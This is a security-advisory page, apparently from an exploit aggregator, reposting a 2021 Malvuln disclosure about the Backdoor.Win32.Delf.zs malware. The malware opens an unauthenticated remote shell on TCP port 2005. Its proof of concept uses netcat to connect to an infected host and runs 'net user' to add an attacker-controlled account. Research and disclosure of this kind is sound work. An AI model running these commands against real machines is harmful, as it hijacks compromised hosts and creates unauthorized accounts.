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Backdoor.Win32.Delf.zs / Unauthenticated Remote Command Execution

CVE Category Price Severity
Author Risk Exploitation Type Date
2021-03-27
CPE
cpe:cpe:/a:delf:zs
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030182

Below is a copy:

Backdoor.Win32.Delf.zs / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/911e96073cfe807289366343aa8d97ac.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zs
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor Delf.zs c0ded By Eb0La, is used to build backdoors that listen on TCP port 2005. Upon building it drops an executable named "[Shell_Me]_Server.exe." The name for the spawned backdoor defaults to "Syst32.exe" but can be customized. Third-party attackers who can reach infected systems can execute arbitrary commands by simply connecting to the backdoor which will return a remote shell to the infected host as no authentication exists.
Type: PE32
MD5: 911e96073cfe807289366343aa8d97ac
Vuln ID: MVID-2021-0150
Dropped files: [Shell_Me]_Server.exe, Syst32.exe
Disclosure: 03/26/2021

Exploit/PoC:
nc64.exe x.x.x.x 2005

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>net user dirty0tis abc123 /add
net user dirty0tis abc123 /add
The command completed successfully.


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